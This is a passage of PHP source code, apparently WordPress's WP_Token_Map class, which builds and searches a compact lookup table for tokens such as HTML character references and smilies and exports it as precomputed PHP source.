	 * eight bytes for the rest of the key, `nterDot;`, and two bytes for
	 * the transformed value `·` (or U+B7 or "\xC2\xB7").
	 *
	 * Example:
	 *
	 *    // Stores array( 'CenterDot;' => '·', 'Cedilla;' => '¸' ).
	 *    $groups      = "Ce\x00";
	 *    $large_words = array( "\x08nterDot;\x02·\x06dilla;\x02¸" )
	 *
	 * The prefixes appear in the `$groups` string, each followed by a null
	 * byte. This makes for quick lookup of where in the group string the key
	 * is found, and then a simple division converts that offset into the index
	 * in the `$large_words` array where the group string is to be found.
	 *
	 * This lookup data structure is designed to optimize cache locality and
	 * minimize indirect memory reads when matching strings in the set.
	 *
	 * @since 6.6.0
	 *
	 * @var array
	 */
	private $large_words = array();

	/**
	 * Stores the group keys for sequential string lookup.
	 *
	 * The offset into this string where the group key appears corresponds with the index
	 * into the group array where the rest of the group string appears. This is an optimization
	 * to improve cache locality while searching and minimize indirect memory accesses.
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	private $groups = '';

	/**
	 * Stores an optimized row of small words, where every entry is
	 * `$this->key_size + 1` bytes long and zero-extended.
	 *
	 * This packing allows for direct lookup of a short word followed
	 * by the null byte, if extended to `$this->key_size + 1`.
	 *
	 * Example:
	 *
	 *     // Stores array( 'GT', 'LT', 'gt', 'lt' ).
	 *     "GT\x00LT\x00gt\x00lt\x00"
	 *
	 * @since 6.6.0
	 *
	 * @var string
	 */
	private $small_words = '';

	/**
	 * Replacements for the small words, in the same order they appear.
	 *
	 * With the position of a small word it's possible to index the translation
	 * directly, as its position in the `$small_words` string corresponds to
	 * the index of the replacement in the `$small_mapping` array.
	 *
	 * Example:
	 *
	 *     array( '>', '<', '>', '<' )
	 *
	 * @since 6.6.0
	 *
	 * @var string[]
	 */
	private $small_mappings = array();

	/**
	 * Create a token map using an associative array of key/value pairs as the input.
	 *
	 * Example:
	 *
	 *     $smilies = WP_Token_Map::from_array( array(
	 *          '8O' => '😯',
	 *          ':(' => '🙁',
	 *          ':)' => '🙂',
	 *          ':?' => '😕',
	 *       ) );
	 *
	 * @since 6.6.0
	 *
	 * @param array $mappings   The keys transform into the values, both are strings.
	 * @param int   $key_length Determines the group key length. Leave at the default value
	 *                          of 2 unless there's an empirical reason to change it.
	 *
	 * @return WP_Token_Map|null Token map, unless unable to create it.
	 */
	public static function from_array( $mappings, $key_length = 2 ) {
		$map             = new WP_Token_Map();
		$map->key_length = $key_length;

		// Start by grouping words.

		$groups = array();
		$shorts = array();
		foreach ( $mappings as $word => $mapping ) {
			if (
				self::MAX_LENGTH <= strlen( $word ) ||
				self::MAX_LENGTH <= strlen( $mapping )
			) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: 1: maximum byte length (a count) */
						__( 'Token Map tokens and substitutions must all be shorter than %1$d bytes.' ),
						self::MAX_LENGTH
					),
					'6.6.0'
				);
				return null;
			}

			$length = strlen( $word );

			if ( $key_length >= $length ) {
				$shorts[] = $word;
			} else {
				$group = substr( $word, 0, $key_length );

				if ( ! isset( $groups[ $group ] ) ) {
					$groups[ $group ] = array();
				}

				$groups[ $group ][] = array( substr( $word, $key_length ), $mapping );
			}
		}

		/*
		 * Sort the words to ensure that no smaller substring of a match masks the full match.
		 * For example, `Cap` should not match before `CapitalDifferentialD`.
		 */
		usort( $shorts, 'WP_Token_Map::longest_first_then_alphabetical' );
		foreach ( $groups as $group_key => $group ) {
			usort(
				$groups[ $group_key ],
				static function ( $a, $b ) {
					return self::longest_first_then_alphabetical( $a[0], $b[0] );
				}
			);
		}

		// Finally construct the optimized lookups.

		foreach ( $shorts as $word ) {
			$map->small_words     .= str_pad( $word, $key_length + 1, "\x00", STR_PAD_RIGHT );
			$map->small_mappings[] = $mappings[ $word ];
		}

		$group_keys = array_keys( $groups );
		sort( $group_keys );

		foreach ( $group_keys as $group ) {
			$map->groups .= "{$group}\x00";

			$group_string = '';

			foreach ( $groups[ $group ] as $group_word ) {
				list( $word, $mapping ) = $group_word;

				$word_length    = pack( 'C', strlen( $word ) );
				$mapping_length = pack( 'C', strlen( $mapping ) );
				$group_string  .= "{$word_length}{$word}{$mapping_length}{$mapping}";
			}

			$map->large_words[] = $group_string;
		}

		return $map;
	}

	/**
	 * Creates a token map from a pre-computed table.
	 * This skips the initialization cost of generating the table.
	 *
	 * This function should only be used to load data created with
	 * WP_Token_Map::precomputed_php_source_tag().
	 *
	 * @since 6.6.0
	 *
	 * @param array $state {
	 *     Stores pre-computed state for directly loading into a Token Map.
	 *
	 *     @type string $storage_version Which version of the code produced this state.
	 *     @type int    $key_length      Group key length.
	 *     @type string $groups          Group lookup index.
	 *     @type array  $large_words     Large word groups and packed strings.
	 *     @type string $small_words     Small words packed string.
	 *     @type array  $small_mappings  Small word mappings.
	 * }
	 *
	 * @return WP_Token_Map Map with precomputed data loaded.
	 */
	public static function from_precomputed_table( $state ) {
		$has_necessary_state = isset(
			$state['storage_version'],
			$state['key_length'],
			$state['groups'],
			$state['large_words'],
			$state['small_words'],
			$state['small_mappings']
		);

		if ( ! $has_necessary_state ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Missing required inputs to pre-computed WP_Token_Map.' ),
				'6.6.0'
			);
			return null;
		}

		if ( self::STORAGE_VERSION !== $state['storage_version'] ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: 1: version string, 2: version string. */
				sprintf( __( 'Loaded version \'%1$s\' incompatible with expected version \'%2$s\'.' ), $state['storage_version'], self::STORAGE_VERSION ),
				'6.6.0'
			);
			return null;
		}

		$map = new WP_Token_Map();

		$map->key_length     = $state['key_length'];
		$map->groups         = $state['groups'];
		$map->large_words    = $state['large_words'];
		$map->small_words    = $state['small_words'];
		$map->small_mappings = $state['small_mappings'];

		return $map;
	}

	/**
	 * Indicates if a given word is a lookup key in the map.
	 *
	 * Example:
	 *
	 *     true  === $smilies->contains( ':)' );
	 *     false === $smilies->contains( 'simile' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $word             Determine if this word is a lookup key in the map.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return bool Whether there's an entry for the given word in the map.
	 */
	public function contains( $word, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case = 'ascii-case-insensitive' === $case_sensitivity;

		if ( $this->key_length >= strlen( $word ) ) {
			if ( 0 === strlen( $this->small_words ) ) {
				return false;
			}

			$term    = str_pad( $word, $this->key_length + 1, "\x00", STR_PAD_RIGHT );
			$word_at = $ignore_case ? stripos( $this->small_words, $term ) : strpos( $this->small_words, $term );
			if ( false === $word_at ) {
				return false;
			}

			return true;
		}

		$group_key = substr( $word, 0, $this->key_length );
		$group_at  = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key );
		if ( false === $group_at ) {
			return false;
		}
		$group        = $this->large_words[ $group_at / ( $this->key_length + 1 ) ];
		$group_length = strlen( $group );
		$slug         = substr( $word, $this->key_length );
		$length       = strlen( $slug );
		$at           = 0;

		while ( $at < $group_length ) {
			$token_length   = unpack( 'C', $group[ $at++ ] )[1];
			$token_at       = $at;
			$at            += $token_length;
			$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
			$mapping_at     = $at;

			if ( $token_length === $length && 0 === substr_compare( $group, $slug, $token_at, $token_length, $ignore_case ) ) {
				return true;
			}

			$at = $mapping_at + $mapping_length;
		}

		return false;
	}

	/**
	 * If the text starting at a given offset is a lookup key in the map,
	 * return the corresponding transformation from the map, else `false`.
	 *
	 * This function returns the translated string, but accepts an optional
	 * parameter `$matched_token_byte_length`, which communicates how many
	 * bytes long the lookup key was, if it found one. This can be used to
	 * advance a cursor in calling code if a lookup key was found.
	 *
	 * Example:
	 *
	 *     false === $smilies->read_token( 'Not sure :?.', 0, $token_byte_length );
	 *     '😕'  === $smilies->read_token( 'Not sure :?.', 9, $token_byte_length );
	 *     2     === $token_byte_length;
	 *
	 * Example:
	 *
	 *     while ( $at < strlen( $input ) ) {
	 *         $next_at = strpos( $input, ':', $at );
	 *         if ( false === $next_at ) {
	 *             break;
	 *         }
	 *
	 *         $smily = $smilies->read_token( $input, $next_at, $token_byte_length );
	 *         if ( false === $next_at ) {
	 *             ++$at;
	 *             continue;
	 *         }
	 *
	 *         $prefix  = substr( $input, $at, $next_at - $at );
	 *         $at     += $token_byte_length;
	 *         $output .= "{$prefix}{$smily}";
	 *     }
	 *
	 * @since 6.6.0
	 *
	 * @param string  $text                       String in which to search for a lookup key.
	 * @param int     $offset                     Optional. How many bytes into the string where the lookup key ought to start. Default 0.
	 * @param ?int    &$matched_token_byte_length Optional. Holds byte-length of found token matched, otherwise not set. Default null.
	 * @param string  $case_sensitivity           Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return string|null Mapped value of lookup key if found, otherwise `null`.
	 */
	public function read_token( $text, $offset = 0, &$matched_token_byte_length = null, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case = 'ascii-case-insensitive' === $case_sensitivity;
		$text_length = strlen( $text );

		// Search for a long word first, if the text is long enough, and if that fails, a short one.
		if ( $text_length > $this->key_length ) {
			$group_key = substr( $text, $offset, $this->key_length );

			$group_at = $ignore_case ? stripos( $this->groups, $group_key ) : strpos( $this->groups, $group_key );
			if ( false === $group_at ) {
				// Perhaps a short word then.
				return strlen( $this->small_words ) > 0
					? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity )
					: null;
			}

			$group        = $this->large_words[ $group_at / ( $this->key_length + 1 ) ];
			$group_length = strlen( $group );
			$at           = 0;
			while ( $at < $group_length ) {
				$token_length   = unpack( 'C', $group[ $at++ ] )[1];
				$token          = substr( $group, $at, $token_length );
				$at            += $token_length;
				$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
				$mapping_at     = $at;

				if ( 0 === substr_compare( $text, $token, $offset + $this->key_length, $token_length, $ignore_case ) ) {
					$matched_token_byte_length = $this->key_length + $token_length;
					return substr( $group, $mapping_at, $mapping_length );
				}

				$at = $mapping_at + $mapping_length;
			}
		}

		// Perhaps a short word then.
		return strlen( $this->small_words ) > 0
			? $this->read_small_token( $text, $offset, $matched_token_byte_length, $case_sensitivity )
			: null;
	}

	/**
	 * Finds a match for a short word at the index.
	 *
	 * @since 6.6.0.
	 *
	 * @param string $text                       String in which to search for a lookup key.
	 * @param int    $offset                     Optional. How many bytes into the string where the lookup key ought to start. Default 0.
	 * @param ?int   &$matched_token_byte_length Optional. Holds byte-length of found lookup key if matched, otherwise not set. Default null.
	 * @param string $case_sensitivity           Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching. Default 'case-sensitive'.
	 * @return string|null Mapped value of lookup key if found, otherwise `null`.
	 */
	private function read_small_token( $text, $offset, &$matched_token_byte_length, $case_sensitivity = 'case-sensitive' ) {
		$ignore_case  = 'ascii-case-insensitive' === $case_sensitivity;
		$small_length = strlen( $this->small_words );
		$search_text  = substr( $text, $offset, $this->key_length );
		if ( $ignore_case ) {
			$search_text = strtoupper( $search_text );
		}
		$starting_char = $search_text[0];

		$at = 0;
		while ( $at < $small_length ) {
			if (
				$starting_char !== $this->small_words[ $at ] &&
				( ! $ignore_case || strtoupper( $this->small_words[ $at ] ) !== $starting_char )
			) {
				$at += $this->key_length + 1;
				continue;
			}

			for ( $adjust = 1; $adjust < $this->key_length; $adjust++ ) {
				if ( "\x00" === $this->small_words[ $at + $adjust ] ) {
					$matched_token_byte_length = $adjust;
					return $this->small_mappings[ $at / ( $this->key_length + 1 ) ];
				}

				if (
					$search_text[ $adjust ] !== $this->small_words[ $at + $adjust ] &&
					( ! $ignore_case || strtoupper( $this->small_words[ $at + $adjust ] !== $search_text[ $adjust ] ) )
				) {
					$at += $this->key_length + 1;
					continue 2;
				}
			}

			$matched_token_byte_length = $adjust;
			return $this->small_mappings[ $at / ( $this->key_length + 1 ) ];
		}

		return null;
	}

	/**
	 * Exports the token map into an associate array of key/value pairs.
	 *
	 * Example:
	 *
	 *     $smilies->to_array() === array(
	 *         '8O' => '😯',
	 *         ':(' => '🙁',
	 *         ':)' => '🙂',
	 *         ':?' => '😕',
	 *     );
	 *
	 * @return array The lookup key/substitution values as an associate array.
	 */
	public function to_array() {
		$tokens = array();

		$at            = 0;
		$small_mapping = 0;
		$small_length  = strlen( $this->small_words );
		while ( $at < $small_length ) {
			$key            = rtrim( substr( $this->small_words, $at, $this->key_length + 1 ), "\x00" );
			$value          = $this->small_mappings[ $small_mapping++ ];
			$tokens[ $key ] = $value;

			$at += $this->key_length + 1;
		}

		foreach ( $this->large_words as $index => $group ) {
			$prefix       = substr( $this->groups, $index * ( $this->key_length + 1 ), 2 );
			$group_length = strlen( $group );
			$at           = 0;
			while ( $at < $group_length ) {
				$length = unpack( 'C', $group[ $at++ ] )[1];
				$key    = $prefix . substr( $group, $at, $length );

				$at    += $length;
				$length = unpack( 'C', $group[ $at++ ] )[1];
				$value  = substr( $group, $at, $length );

				$tokens[ $key ] = $value;
				$at            += $length;
			}
		}

		return $tokens;
	}

	/**
	 * Export the token map for quick loading in PHP source code.
	 *
	 * This function has a specific purpose, to make loading of static token maps fast.
	 * It's used to ensure that the HTML character reference lookups add a minimal cost
	 * to initializing the PHP process.
	 *
	 * Example:
	 *
	 *     echo $smilies->precomputed_php_source_table();
	 *
	 *     // Output.
	 *     WP_Token_Map::from_precomputed_table(
	 *         array(
	 *             "storage_version" => "6.6.0",
	 *             "key_length" => 2,
	 *             "groups" => "",
	 *             "long_words" => array(),
	 *             "small_words" => "8O\x00:)\x00:(\x00:?\x00",
	 *             "small_mappings" => array( "😯", "🙂", "🙁", "😕" )
	 *         )
	 *     );
	 *
	 * @since 6.6.0
	 *
	 * @param string $indent Optional. Use this string for indentation, or rely on the default horizontal tab character. Default "\t".
	 * @return string Value which can be pasted into a PHP source file for quick loading of table.
	 */
	public function precomputed_php_source_table( $indent = "\t" ) {
		$i1 = $indent;
		$i2 = $i1 . $indent;
		$i3 = $i2 . $indent;

		$class_version = self::STORAGE_VERSION;

		$output  = self::class . "::from_precomputed_table(\n";
		$output .= "{$i1}array(\n";
		$output .= "{$i2}\"storage_version\" => \"{$class_version}\",\n";
		$output .= "{$i2}\"key_length\" => {$this->key_length},\n";

		$group_line = str_replace( "\x00", "\\x00", $this->groups );
		$output    .= "{$i2}\"groups\" => \"{$group_line}\",\n";

		$output .= "{$i2}\"large_words\" => array(\n";

		$prefixes = explode( "\x00", $this->groups );
		foreach ( $prefixes as $index => $prefix ) {
			if ( '' === $prefix ) {
				break;
			}
			$group        = $this->large_words[ $index ];
			$group_length = strlen( $group );
			$comment_line = "{$i3}//";
			$data_line    = "{$i3}\"";
			$at           = 0;
			while ( $at < $group_length ) {
				$token_length   = unpack( 'C', $group[ $at++ ] )[1];
				$token          = substr( $group, $at, $token_length );
				$at            += $token_length;
				$mapping_length = unpack( 'C', $group[ $at++ ] )[1];
				$mapping        = substr( $group, $at, $mapping_length );
				$at            += $mapping_length;

				$token_digits   = str_pad( dechex( $token_length ), 2, '0', STR_PAD_LEFT );
				$mapping_digits = str_pad( dechex( $mapping_length ), 2, '0', STR_PAD_LEFT );

				$mapping = preg_replace_callback(
					"~[\\x00-\\x1f\\x22\\x5c]~",
					static function ( $match_result ) {
						switch ( $match_result[0] ) {
							case '"':
								return '\\"';

							case '\\':
								return '\\\\';

							default:
								$hex = dechex( ord( $match_result[0] ) );
								return "\\x{$hex}";
						}
					},
					$mapping
				);

				$comment_line .= " {$prefix}{$token}[{$mapping}]";
				$data_line    .= "\\x{$token_digits}{$token}\\x{$mapping_digits}{$mapping}";
			}
			$comment_line .= ".\n";
			$data_line    .= "\",\n";

			$output .= $comment_line;
			$output .= $data_line;
		}

		$output .= "{$i2}),\n";

		$small_words  = array();
		$small_length = strlen( $this->small_words );
		$at           = 0;
		while ( $at < $small_length ) {
			$small_words[] = substr( $this->small_words, $at, $this->key_length + 1 );
			$at           += $this->key_length + 1;
		}

		$small_text = str_replace( "\x00", '\x00', implode( '', $small_words ) );
		$output    .= "{$i2}\"small_words\" => \"{$small_text}\",\n";

		$output .= "{$i2}\"small_mappings\" => array(\n";
		foreach ( $this->small_mappings as $mapping ) {
			$output .= "{$i3}\"{$mapping}\",\n";
		}
		$output .= "{$i2})\n";
		$output .= "{$i1})\n";
		$output .= ')';

		return $output;
	}

	/**
	 * Compares two strings, returning the longest, or whichever
	 * is first alphabetically if they are the same length.
	 *
	 * This is an important sort when building the token map because
	 * it should not form a match on a substring of a longer potential
	 * match. For example, it should not detect `Cap` when matching
	 * against the string `CapitalDifferentialD`.
	 *
	 * @since 6.6.0
	 *
	 * @param string $a First string to compare.
	 * @param string $b Second string to compare.
	 * @return int -1 or lower if `$a` is less than `$b`; 1 or greater if `$a` is greater than `$b`, and 0 if they are equal.
	 */
	private static function longest_first_then_alphabetical( $a, $b ) {
		if ( $a === $b ) {
			return 0;
		}

		$length_a = strlen( $a );
		$length_b = strlen( $b );

		// Longer strings are less-than for comparison's sake.
		if ( $length_a !== $length_b ) {
			return $length_b - $length_a;
		}

		return strcmp( $a, $b );
	}
}